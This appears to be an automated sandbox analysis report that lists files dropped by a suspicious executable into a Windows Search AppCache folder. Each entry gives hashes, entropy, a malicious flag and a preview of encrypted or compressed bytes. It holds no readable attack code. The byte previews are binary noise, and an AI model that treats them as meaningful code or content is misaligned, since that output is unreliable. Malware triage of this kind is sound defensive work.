Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	9214
Entropy (8bit):	7.9798289128592454
Encrypted:	false
SSDEEP:	192:gnNLBIHo/lCIUiLdDIq2H8RIsjTcpykAAdn2xYec4eIcysxX4iX154wdshBVRG6R:e9BIH6YiVbg81/cpyzAdHZXxX4iX154J
MD5:	2BB4566BDE45BC14D42351A7B8AB98F5
SHA1:	79A0D9B8964CD14FEFB6906DCC40C4FA90585131
SHA-256:	D91FBB57DF01BCCA49A2BA5C60DD449FC4B4019DFE3E5AFA5ADA94A0C88496F4
SHA-512:	EB2FBD2B45CF5231FF73BB38B27E942E358E2585C31D97D4C707D24517055660950FDC7CCFDFD6BD7E0D0D52AA5379A3FD9A5314A2DE81BB0498645DC010EBB1
Malicious:	false
Preview:	var F.sw...4..pO.........p..T.)Ti.x..%%....O.H..[.a..T."8}v.......e..p24....B.x....o.G...31....$.n.w...3q...l....c?..NFJ%...u".....h.w.D.l\|6.#.d...C14.iw....X.&YQ...v...8f..u.^`%...R+.i......Zu.....W...R..M.)K "l.g..-@...W......N.A......E.n.jm.z.m.S.u........7..r.l...WQ.......U.3!..f...M..,....}.8 ...BMhA7.E.3...?.zr$ro\....[,......-.....;..5..(..&.\|fy.....<....<...<.\|..aB.{.h...I4.3..b..z.Y......7.KK!.,.>.#.Hg(~c..F..@..I....!...^8...5._2SmA.kPI.D.tC\oV5..L,.G.Z.:.\|S.E.U...vlz..\.s[./l....&sX..!..'.ai.....+XN.9..1b....=..Q.Z#.t..........E.....'.,.......S..K1_4f.\|...e...2...\|...#I..f]...6#c.....J...+..!b._.l...@Wv'6.-X$.n@a....o.C...g...f.A.#.>....9......y.5Y.....E..F....m.... iO....f...k[......Gb...t....6y..M...MwT.f....I..E....\..^)...w...v.D4i.../..(;.1.T.....U.....j.....,.=H...4..c.`$..XE.4_E.2.,.....=^WC...`.WT.cP6^MD..:Zu.0J...4...*]1....^"v.t....C.Z:.3.p....W...U.lR.>.}...~.)b....h..E.....x.......g....'yBG.m.J.W.+s.o...P..B._......D.-\

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\LisgCZCwGQ4lRz4go9tlwPslw_k.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	16105
Entropy (8bit):	7.988179355454523
Encrypted:	false
SSDEEP:	192:MWWIZFL+mMQYNiCvbt/CbdjR2Epv7jBT/ZVIte1m5wF1Pn0XdEWTZkjsZL2UUBjm:MNEtEQbjvVoUz18XdfkgZypNfVfb/Rhk
MD5:	9B5E347458D3D4F9BBB19E62D40C8CFD
SHA1:	94730AA63F02B3C09522C080522398662B616F03
SHA-256:	F9E1868710FCC6144B533154626B97072E2E2C7CD03EFF1E3FF851A3F21CCB1B
SHA-512:	47401EFE802BD1973A142FFCE2E14EEDF05D853CE769429400BB2AEB2E6100DBFA9E67DDF327E472B5669CC1C7BE883336C56D152F595161C7922D8BD1F5706D
Malicious:	false
Preview:	var W8.5U.H...P....f;...dX..f.9....P..7..b.......+QB.O+.f'D.1..jQ............d.:8.K.........H.e....L..9U...........%.J=h..j......7.."f.ZN`....}p.Ne>.7"n.2...R.4K)[.}..\|.i..I.d;.+.....=....x.0<o..]....u.&.....lV...L..v..8.$.....w...69V7.Z....,N.\'..........\|..r.....qIB...K.R3..G....i....T....:.9f..$...DCJ5....!....df.<.u.B....".9.L....=..n.ea..V..x....4m..7.X....fN.W..lV.)\......U8../.d.%.\~.0-!e.p.H.@.@..e0)Ts...A..Ta.r.M]..g8....}gjw. .6.Z.......4_."~.^..z.#.3.`8.v.8&~....?..G@..].<U.....Q..W..E...=7..@.xb..F.uR.Q.n..9.....o.....E.Z...c.ag....:S....(.A......3.....i..Q.Y...yI...i.%V.7j............X.o^.f....I2o...S.]!G.%.r.Q..L'..h0.,8..!T.Y,0"q..{.uJ_..#U$.a.U...........ze.'.....5..`A@Gk.2.dHG........S.`.C..'].~.&-?..F..<9.F..4PU......]...'.....n(Oa.p...gF...d....K....).z.H.......!S[..L.;...X0.YV.....f...'.CZy....,.....qN.......\..~.M.=..+l.22*z.....q$.....{n......N).x......i.b ..%R)S...ej...g..l.j..~....@.h..GIcJ..<p.....Nxrx.O.}.YX..>

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\MgSq5EEOyYvlI1qVlLOXfgRHmzM.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	105444
Entropy (8bit):	7.998047858047081
Encrypted:	true
SSDEEP:	1536:GEPkJrUlBM3Quaq+6+tK0W0XKlt29x6NpD16oWnKUwsFVweMaeK9z1G5A2n9Y:G5q3Z2+cC98NpRGVwu6aFzb2nC
MD5:	1E54431E0D5F8FBDC20DBE48C1983A48
SHA1:	1D3061DC403A4E94966651CD8F025FDC0DB25F0B
SHA-256:	37FD451A90C891FE5E319049257E01182F185C33E010E3309D50D5FE4EE0C103
SHA-512:	349CD05B6E9C112D7D02ECA973EE5A038EC4F4F193F4DECA90DE5432DAB703317207FA9759577AA332175277802662A4C08FE1B048ED8C832487F2E2FA34C498
Malicious:	true
Preview:	/! C[\|~...I.\...7../%.%.x...s.=..6.....3\...,H...R0r.V.ki..4lvY...@. ...=....D.a...,...X....a......V.s.r..D..r.jg\|.F.lW.^@.\|..0Y-.)./:........W....'.u].Io..Ah]...g...p....../...(}.x.-v...W....9....5'o`.7.5.1)..U.x...B.....v.......w>d....!#W..~..p:\l.I^.l.....x<..s-\WklZEw....Dcg\|+=.H.[..M=IV.._.8...?.1.[V......1.p.3Vi.1Z.......F.e.FOF.3o)......X.....n..0H2.QR.....G5U.@D...w....6......p..k..tw..iV9NT.x......r...T.X..!.....u..a..P....]O..X.:...N....2.i.+.J .i4.~.\:......T`...W.....n.6\.]..w..+.P..E.g........M..6.........LM..gE........{.sZ.......G.,]...a..N...f4.....=....U(..+.3.j]...'}=k.......RC.9...Fs..U..~Z.R..=.[-.....{.....K..:...cfV0.^..]\C..........j$pP7..6...w..g.9...x..........{u..@..U........y\..k.n.{..&.!.x.&.1..){Zx.b ..-k.4.....7.....+P..?.f<.h1..%.R..^yP....$QV........3lQ..P...B.v.x..U....[........;..5N.(.1..!...q...F...B.r.w..G......S..P.@.Z.+f..0Y...E\..1.G....3+X.R..r....7.L..'W.{...e...G. r5)!.(..m.o....{$:.LvD%..K-..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\N1a_FY8_9YTjAb9nKlOpaAAvPEs.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	14501
Entropy (8bit):	7.985304408963477
Encrypted:	false
SSDEEP:	192:0195Gdo5X+oiZTf/zidOF6ewDTqw9c3eCiZIXojMiM2NT7qs9ee0FRPiK9vcqm7K:0f5GduXQTid+TfiZgn2i9e06O3N/
MD5:	A64DB7AA679AB3801853A8B3841447C7
SHA1:	F6DA816EDD0E78A55FC94B7F28E462BEBF82EC0B
SHA-256:	F124CE614B56672F8584EED1A252462DCCFD130AA3C174A9C3423B61207BE850
SHA-512:	0CFC03E0AB8E11F2E56341956324CBE0F80684BBB08414A16F3098946C140D78E6708A39DB289498AB6A9D1844952A654BB89CA6CE8E4450489D9F12333A0B68
Malicious:	false
Preview:	var Wi./.8.Im(h...iqP9@R5g'.'.>...?..ng^.b.P..S.ehT9..).UR..d.x.P..\|;..lIE....%U....?_.<...i....r...f....=:b.F...4`C}7_.S=h1...!.a.T[~..../.).2....#:..)I<..''..{;.&'.o...D.Z[\.Q1.....B.4...c.Ab.B.."S.....~..u..........R.t...g.!..t.....A.\......].E...np."..x...U..t>F.h..o..Kqcr.;.go.... 8..yW1z.].<?...H3..GI(\|.q......u.......b/s%....VRT......^..?U\|.k..M....l.\|.....$..o7j....;.t..7....7.._..2....[..a]0..["..s..._....H...dF.."L.`;x..VQFb./m(..kd..1.......3....qA.....g.t.q._../....#.J...<.Y.$..9%/.....z..7.D1..g+.W3."...D?..L......,.........~....!RS.........q.sX......V.....;.h8.H..;.:-.R.?X.U.GfST..@.o".Y\..>.Q...P7..+v....9....r.V..".{4.....Co.G... .n3...@.X....Fd........N...8.X.......mG..........<?>...0.0.v.....A.....0a.e.f.b.J..C........Qq+.R.*.3....!.}..E.J,.....).P...u7.5..ui;...,k..V.#...$.....6\s.$.^.B9..~@.n.....C.L.o6k...~.Gp9z.z.4d.w....8P.U...v.......;.h.,.p..Q..?.S.c..]a.. Z.\|#...+..?.&..0Y...k4..A.l....N.R.D......^..r...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\QNBBNqWD9F_Blep-UqQSqnMp-FI[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	340
Entropy (8bit):	7.228677289714298
Encrypted:	false
SSDEEP:	6:jBAosgMct4jbShhLnix+2Ibq6Mqy2epNyaZFwX0pod0inIS1WdNcii96Z:iXcuj+hLi4PO6Md2ePtDwX0K2SUdNciD
MD5:	DEF5F7F1D6F01C78F704B187B1155AD9
SHA1:	6CA4B4F9DD291A6192C603592F5064264EEBCE20
SHA-256:	5C64402A258D9D0658F2B159090016D1871C43B245198BF2F7CA1FED7113F8AC
SHA-512:	E6BF355C243B7E3E00F9660F0D096EA075DB336C2619F1FE0F97D3738C94EEE59EA16D5154C98903009EDD0346120599C0DA4096EEB6C9942047DB594DCE4594
Malicious:	false
Preview:	z{a:1.k.%.N..NS.!..-.W]...../.O..!..v.d...(.w.`..8*...C..G...9...]w......m.[....,.P.\|."4......5g....<xW.zky...D..\|3....Dp..i.GZ.v>....WL.U..]...pk.4...q.l.B......W(...p..=<.-..k.i..%....u.P.[G-.._ ......p.HX.....j..E.U\|'......J.u%z.E.CF_..3../.....h.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\QOGkmcG8R0fLT0lwbpvm9BNIUiY.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3201
Entropy (8bit):	7.949292076552361
Encrypted:	false
SSDEEP:	96:LtqFIQx5r9mTHga9MA+bd8Kde+rWqSSoQAGk:Lac2R8KTWqtwGk
MD5:	08F704AB65DF12B7495F93725065093F
SHA1:	53B3DD119FC0F5D8D5CA3D8AB6E4DDEED2A12381
SHA-256:	F69A78E8224EA80C42770BECB9FEC027194D8E2ED82B70194521846137B08C1D
SHA-512:	FCB8AF6185796079AD1C66C3E6A631217BEC2E674A27A72046031DFE9ACA8FC527C177B7B9D1C7C02FB646D88326D3C14195D6733317DF3D11E581D455BA95CC
Malicious:	false
Preview:	var W1;....6..~y.)h.$.A2.d..h..Ob.Q......t....>@..O.[X.d.v........E.....z.,...ig.......tMqIqt4..c.[.........../`...N.v>.}uJ..x.4.......G?...7L\|'h!...i......d.v.H.Qv....a~..,.%.h0.n._n..W;...'QU.....l.c...D...........}}.U.Q...e[..v}........XC.i...c. _.lo..{.c.D...r......0.6`."....a@.S...I...+0..qt.lM...%'..KM.c.y.oP.q.y.a#.D....u.....N...l....(.".P......".Vc.I....X?-.?....`.B.....f.......,.......$.B:....f.DQ${~.$%K..].......xl....W.......Hji,.....-......pwp..PhO.$.X...&g.....<.O....T'.b..t{..N.}<...p.....&.U.....\.2b.m.>xU)....K....%O..1..D.\|y..O..FT..4.N.k...@...G..%I../k.Q.J..8.j./C\|..s.T....5.....{=.....d...P.......B..%.kxi..ql....<...4A..4...sr1t....xap.........\|.{...j.`..K.U..f <b....1.....+\|....yJ.@.o.....`b..Y.n)}V....OA.{.............z..6r)e...P\|.........IdX.....-.....e.k.....za.\|..K..!..\...exQ..].4t5..0.(T...~.u.x.;M...Y.!...3.l9..../8.6%j...i....B..{.j..D....6;..fu....7}"]3..(jR....fx..G...Uh....pU/-..Q...._a..4.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\U7NyqzPRBLq0g0Z9QPSKxnaembc.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	11147
Entropy (8bit):	7.983909709966424
Encrypted:	false
SSDEEP:	192:8Qw5L6jYaoZaqvg4J2yvTM00Od/TJ8Y4Yvx4omijJ+pAUamm+pEGPHuCZNDXI7rg:8Qw50oYqHJ2QT/zdb6bC6omEJRUZjOCF
MD5:	919C3D24080C2784D1A85F144AC506F4
SHA1:	5630D6F412FD15F368B79C00E748E70B4456ED7E
SHA-256:	1058805CC2C655BE60E0A7EF5F1D747DCC7025CF46C0A079AFE6F90D19212DCF
SHA-512:	1F30D0374920A125B09A2E4427FED158BBE3C620F93EBB41A3C9693312393741BD8706EAF820C754F644004C80DAD9288A5268E331B60A6CBC789EE7042D2FB3
Malicious:	false
Preview:	var Wm4F..T...fvgf#..Su...:K..t ...E.........\+;..y.I..\|..bD...C..&?.lJ@.;o.u.......wU@.5e.'.e_.1.N7.p.9V..@.......<.N.p1.:./@.4.....z.....1.>.....~.?hU'.c...72...;y.B.....K....X.@72d.......o.A.....h.n..y..X2....%N..}....C.5..8..;.ha.]..s.sk..x..?}..D.`...nw...:...K.F..).:.n....3Xz.$...RW.......3.....}W[.@.......`..,4..V ...........E\. .1F.H...=7t.p........+....9.%:{F..'y....b...\A....Pi#C.V..\p)..W..:J>m.....3..f..=..s...G..hq..h.....2...0.....t.jS;.7.wz..d.T.1.......E...\|.8Q...'..^..S..$.....k%....Q..%...$)..N..x.{e_.....}.i>...~F.j..j..o......VEb".)..)uFd.....MY..S......r..a\\|...-r.G[..(.0...0=P..e.iv..a...........>..p%.2l.....2.S..=.....Gn.^.5G0.Sl.PC..sT$.s$.@k].o.`.LW8.o.J].."..0f..y..g..myG.0..y..).......Z@&'y...Nh.z.y....\|3.....Z.y.........B..N.P..a:,.H......N._l.80.,..D.B.F..n+..,@X..a...;.v..w.....Z:.....U.7X..b.y..h)0qS,..;.i....G1.W5!}B..%8.)...P.DP.c.S..=...Y.e.f....\|6M........%.k....b..D..ah%..(Lx...s_..t.n...\..d_k..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\XDTV5Ztdmvo1jmUE21mPICYC5h8.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	545335
Entropy (8bit):	7.03256471584926
Encrypted:	false
SSDEEP:	12288:lM6Ryp3qQTaOjTJoaV4MYwRjMIP0dUW6cUlAvO3WWtAqyebWvTOQel:G6Ukca3wRBP0dUW6c7OQel
MD5:	B3704CAB57B13DE499539C8D0F71722D
SHA1:	2D6DBDB0D51589E28CECCE3F76D5D121A4C4FF9F
SHA-256:	E07232C49BDE32403F3874B5BDDF33004D293889E0C683794B2F7E2905A99EC4
SHA-512:	2BB24E73688F209DDA1AAA5151D38D2CAD6866B662CEB5AE9C3C417DDCF0605E85E087279C60DC6AD6D50DE08618AE807189E4F1E277B1AC2306C79ACE94F21F
Malicious:	false
Preview:	(func...Dd.;!.T..\|7.g..g7]..w..Z...L..k..S.b.z......N.w.d..A.iV....&..Z.0.h..\[Q..m!.ciI`...../...G.....F.0...y.............J.0..d'\{'j3..yy.a.........J.. .......]..r.p.([.G~Y. 9.b.P.+. ...z.......f...S...E.....\..yA.._....].R..1..].q....)@.q.D.....r...1.E..30.OB&.J.%s6...dRs.@r.)..v]>b7.!5.7.7.!..a...L........5.......i.;.).....5..1WE.,.......fU.......\...^.-.4..i..<.t+%b<.eo'.z.Z....K.C.......S.A...c...~..6..T.Wy....F{9>f......B.uO.i...~.t........(..v8..]I..W..k+.E.(..j..M.0.U....p....l......XW..%z.t"..Q....K.f7<..E..5.....v~..@.g.S.u..`..o.ml.w.N......[c.8yS...G7E/J...HL.F.G.....i..Q1.oH..9.W...~.&z..V.Z.b.U.@w..".1.X....<E...d.].....N.?.....@..G....te.=.n......bW.o9...m[.x.8....k.v........~.z5&.Fj.s.da..Sz(..t.;...C..D.l...Sl... K...a......b.g../....P..D.N+.e.F....4d....K......O&.4.U..FZ...@.....UD?.v]...s......"..,....x-.j.7/..`.~-_@.s..([.&..'O.ho.'..g.....t....C..t}.P`./O..Ns.....^....b.rBB...U@./......2J.@%.(....TK0.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\YfXD9vOw8__a60l-k1HNCxSbem4.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	59090
Entropy (8bit):	7.996712889590228
Encrypted:	true
SSDEEP:	1536:YjT0YfacW+pQ2T66g/+4DJ8egw907dvI9eMhpswgSH/EreOA:Y/f3WrrW4pgwt9eHE8rk
MD5:	A6B7FB901080EFADC43473C8E2439DCE
SHA1:	8C51BAA22CC0DDDF885FE1DD49FC791215469A91
SHA-256:	5C8E9DC85B21E541C72D804703BB40E7A90C8074B9AFC8DDDD6337386B0CB8B7
SHA-512:	06592DDFC49000DFBA57E6D7E3A404AB76211CA3E3041EC90C0E5CE9F9F962E1CD34894F498113771E8850A6357AC9CE304D551DF105BB17757A35C6BAB50F5B
Malicious:	true
Preview:	var W.....n.....Q..'0...lT[.j.:.eG..2....(....J.`>)..^.......[.'y....D..i.&..\|..}E.V...s1.Q0....<....r.&O)..[..,..5....9.s.rC.G.`p.g.r\........A.v..n{G0j#.4.W.Q...H.#W....x.......!O....._Y...2..!.s.%....H..!\2...~XD.n..or.7\|BU.ya.W...f.X..~.2...b.......t....xdKA..].......zz.M.a....b.:Z......k.........v;.B.%.A:.M...5...`._{..S.Y.#..9.f-......QF...m.w........J..l7E........9../ve.Rq.........F..c...O.1$..Cj.E..Ye-..o-.K..z).k.N....%.@.....k...5...1..9.,........!...S..}2..B...k......."r......E[.~2...C...h.Lu.Do...v..........p6rau..FZAhY..x...Lt>..{.....o.a........Zx8..`.&m.1.i...X.\|......T0..k....m........G.....-.$)...0.0........t.}i.s....vu.......o.......K6..........dd4?d......./u...%)J.....qtySbYUV..\..`.oB.={.......p.Ub.\.e...L.l........C..."x..).4.-.\..k.Td!J..{.@....U.Ai..0G.,.6T.!K.KR..)..2x.q..{]...h.fa.cK............9..._....#...n...w..X.w1.[x[.Q\|..6..j*h....O.....[06Y...H6y..x...I.?D...p...(..A\|.(P..T4.EFc_...._......Wz.~..Q.. }.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	121548
Entropy (8bit):	7.998462052982512
Encrypted:	true
SSDEEP:	3072:hfs9saMmTVFTV0viyJypGZ3Gp1cIPk+tkbab5767BiTl:hfsmlqFTVQiyJy8W8IVES6FiJ
MD5:	906EB9EBD8BB084882D07489A30241FC
SHA1:	DD989E6C16900085D11D277D6432D84B6D481AC4
SHA-256:	51AC1695EEC9BC33CE99ECAAE84C1560275DAC28ECEBFD76EDCFE3050AAEEE7B
SHA-512:	B43EF19B0E6122608D41826580F7F7EC2A34340F72B91A5F9EE60B2D1720C873D162FA25A7437684982E7059B45DEA8F8C866F3C75F5DF9ADECF8F48B6492BDD
Malicious:	true
Preview:	/!. 9+..H......Sl.q(.....\W\.1..P.b.......l4H...BP.U..B...p.(..9.@e..aFC...:s).X...6[8'..!.?B........)U...}."..I..xa.......vS.D4......k...h_)T..w.Y1I......!.k...q....V...%j.<o....apx[..L.@...F9..H...F...pJ...G........x......P..<.M....1aVF...."..8%...K..!....Q}.....h.4..n.!.{...!t...M.G/x%.>....H..a.^.}.....@.....#..x.J.x .....G..g.2.....Sl'5!..~.&.....Y..k(\|.....j:...7.....Ou./G....u..u"">..h. ..c...=1..o..D.2..8O..../IX.]...&h....LwR`.S.84......Y.E.%g..$.9./$.1...?....L.)r........_{.hSq.......b.G..O.S.xWb>..>.5....).e =..wU8..5.;..G".N ....\P.I.1..DEkk.-..W..H>k..B........W.wYc6h..-+...4T..F..{b=..f..b.q.Z5..{z...s.H[.u.3@...k[GZ.yQ...K.....#.9.V7.N..m`......S.l)...7.....#..}N..ZGL....Hc.%...d.\5..]L..We.....G...~.R..?X...ZR....@.KT.[.b..!.Ol..>.G..Ff.'...5.......5.....M.F.`}e.l.3B.{. .NIc_.C.UHf0...=..J.../...m......Y:...?..c.x.C+'..U..7.....hp..Go....IC.........#...[......\|.XMI..!ep_.u..$>=.(.G...$.@..:...J.6.'..oZ

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\appcache[1].man

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3484
Entropy (8bit):	7.946975650557273
Encrypted:	false
SSDEEP:	48:2eLtJJ0EI9KmsM4tNcNPr/IaqAJX17sK/UoZ32hky1wO2vddAPKaruN+ND:2itXZaK/mzgnIFsK/U7Z1EdSya
MD5:	70B1B40E65C702F26B7772B1CE77E32F
SHA1:	58EA6566110A1DDDE3DE32FC1342E199D99B9D34
SHA-256:	2A66E3ED318831DC5D8497642A21A5AABBC80DF12A71596E7C84EB48FEE78E2F
SHA-512:	CE4E216A44E011F92D8E1F111595139E7ADB3CEF9B04FC11BD782AA32BBF557DFB1899E5FD899230F9DCDB40D025C62CFCFF510449CA140DBAF5CDC3D8713A48
Malicious:	false
Preview:	CACHE...... ...W..:zm.i_.n;..2.NG..L.Z..?".....0..'..NxTX.9..4X7g......B...vK.3.r...T...~.J ?.....s&3.....g`h8..N..<EZ\..8fg.....g.\:...f.O......r....y,n...y..H...Tf.X...p./0...../..p....s....\.....!,$>..+=mKdv..s.BNz.0....w>...%.W.)..w.AQ......}../5."5%.p.Y.........Yn....h.\|.g..U).. ..eD%u.9......,i...]p..~..>........CJy.W(@....Q.....m.MJ._X.&.N~...j....S:W..d.....(r.xQ..M.G.gWl.\|.6Z`..+..f=)..dXM..].gV.......,.....K.6.o.............Cr6..y....`....C#\|X...<...\|..;..%."CE.. 8M......5.....`....(i..L.....2.Yw.b........~...m..l.n.q(...G..\.7.h4p...G/.\$.3.+.1chh..w..{.mW....d.:..X.y..J..H.J.{...3..v.!..g..isUX.....N./#4.@(.PvD..g[L....l^.-..Pb.t...mz...f...r..jU..F.....,<.@...F.........g.g.w......_....%.......j..".........p[......O..l....!=Qq.x.'v..Vk.]...-.. zi'....3.....c./.gul.)Y.!...g...Q.d}....p&.(..nm..p.".n3..L=."..,^(.o...m..W.E[.S.......<.H.76P?Q.~ }...yy.<~.0..\k.KK3G..j..........1.l.+..k~...u....k..y=....m_......2.{.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\axXWui3EcbJQ5EbqyMZWmTud9p8.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	4070
Entropy (8bit):	7.952140604115554
Encrypted:	false
SSDEEP:	96:rK7sECsFzCj6bfJd11PXHIczk29tsm6IPaCq134vTBRJpaEW:rSskeWbfJlPoczkOxXy31349fp+
MD5:	B815BECCC61CCFB16231E9D559711824
SHA1:	2C2D23447F4768A72547567E95A15C329469C456
SHA-256:	BCCD7E0CF510D28B0237B5D02CA1E276FAE762EF92E1A0790F727D1740ACDDE1
SHA-512:	59A97DEB3D21FDACDBB8365114494EC8D0B9B6E8A019721E55913E780CED4505DD63C149FFB35CE532A6BC9E624F8495492A4B38D5074B0BAA338D532AFB51DB
Malicious:	false
Preview:	var Ww=..hLT....}L...e,...zF.. .3TZ........^..6....n.t....pl...z..E.L.J...0R..y.h.......D..k.al^.......AGU..Z..7../..3.....P'\|##.7....UW.K.{2.S2o...%.y......S.Z.........RE.6]U~.C....F.@S^.... -..(....h....Ro..... .1r.nd.h........4......AH.90../.=.L...8.J.Hmf..r..M.tQZ.W..S%..e;Y....}. ...'.AG.\.5........G.j....)..}...h$zq5.V..m.......+.N........#'..o.7+.....0.-a.w[pC.n.b..$Kb.U....13.~.G...q......8}..`.={..k....4.."z.[......@....Y....`...e...O..l(u...W.{...vAG....%b.p.2iKe...l..Rfq .o...".=.)U..s3...w...d-...EE...y]K$}..P..@.#.5g.....d..r2_...NSJ...m.....F~.T.`>F..$.i...g.A@#y.....t....$.-5q,....W......FF3j,mk...@..<.I.\:..dO#...W.j.Y.....k.bq..T...oka: P..[....Gr%wu.J7...3....2..?.(.....3../...,...Z.3.d.;Bz..U.P._l.....j.X..-7T....h......Wd...[g..%.............Mbk.}.a.hO..H{.#.i.....S4..x5..S...9.kmPQ..=......?..[..&.e...[i.U1....3hn.K.........#.k.Z...D.w...i.V../.R..e.L'j..Z..d .v..^.^..u9>Y'..(.....g.b..m>;..m-q\|..'.K.. ......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\dYw9trBOUuy7sL9xTZGIliMEagg[1].css

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	290621
Entropy (8bit):	7.204437572019695
Encrypted:	false
SSDEEP:	6144:IRawIOIbBdUMDdPw4jhbPk4l4QuSMhiUCnZWHDH8HDHcHRHOHVjbUq7jdBBVbKyC:IoSIrFwghLPZtsiUCnZWHDH8HDHcHRH7
MD5:	175179638E6B38E62ABAB77372F456B0
SHA1:	AD2D52F045356086C6D2E656FF92A4B0DAF4A325
SHA-256:	49075E2F90F5D76F0038FB2CB36BD1F94BB5317662272AC323F08B4198B0E1E1
SHA-512:	1C40D2731DB75DC4A0CC21E9A74C77C72BBA18FD20B4B0CCD92B2BFBB457FC9E49F5771A0903748DB730EE0EB4B5BA70ABDCFB34CC2BD06EE9E34EF71785E698
Malicious:	false
Preview:	#topR.O..O...,..n=y.f.c!.\..Vz.K...{o...{.T.^.N.JG..j[......D.s..IE.)...`..s.D.V.P.X...,......RF.9.y..I.....D....0.t<c@ga..^G'....+.UD9`.>#.........j...^i..v?..)..%..u.q....A>6...Ap....8.....&9..@:YR...W.._w.......aWi.K.......a...S.....EF...Q..XC.=%w..9...9....).)..?....9.(...^7.#.......[... ......(..7=.'.${p.>.c._....s.......#T...j....$.b..U5..5N.......P2#..<R....,Vd..&V..e..vun.w.B{....F.m..>..r.X.zNz.v.n...K8.u%..T....w./..N..z.f..t.%f.......3....3&Fn..g..[.....6u..7...q'E.u..r.s.sv...@../.3....F^...S..n.H4[0s...1....}.G.}...}..@..a;...C{&..7.S-....u..n!.Hv.3...TM..J....uL..(r..Rp......V.6..u....Ec..U..]6m...+)...s........I.$d.1]._...'.'..m.=c.\|..}.s...4;.%I..O..O.....8.W2y...RiZ....B...D.5f..O..A..k..h....I.wI....j...~.:s.,.e.s:_w$C..b.?...M.R-N....,.B..H.6`.%q..).....0.d......,.....9II/.#...5.tp%.Lh..fY.../..:..)..h.&g.%.....q.V.dm.....^.Ktx.^kQf..!..*c...7.&.=:.x.$U.J...k.SN...<.i...+1.G4>L.OO8.g.G3.<SV4.......;a..e....B.N...}.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\MOJJRSYN\7\h0_ymK9wPEJMicnVALPw5taHcNA.br[1].js

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	2224
Entropy (8bit):	7.905406697623682
Encrypted:	false
SSDEEP:	48:dTOGLjMXby+Sd1J9eotornHIOAvoz9zFtMY6kNcctpGKGD1ZVpgeID:dTOGIuvJ9wrnoWxzHMY6k8KSnVpM
MD5:	164FB44C69E9F1FC27DABEF217E7C59F
SHA1:	32E5ECF02B01254BE30E554BACAD8408718DAB47
SHA-256:	1C3683C9764A566439CC3EB05C6D40ACD7162E856EA10218EEC575E2143615B9
SHA-512:	43288AAE8E3A89A1EE02A209CE59CA900BB10571E3AEE97A5B998E457BA7947279CD93415B37636634ED433D659DADF1CC9B92AFB5AE837C18536021C6AF6E31
Malicious:	false
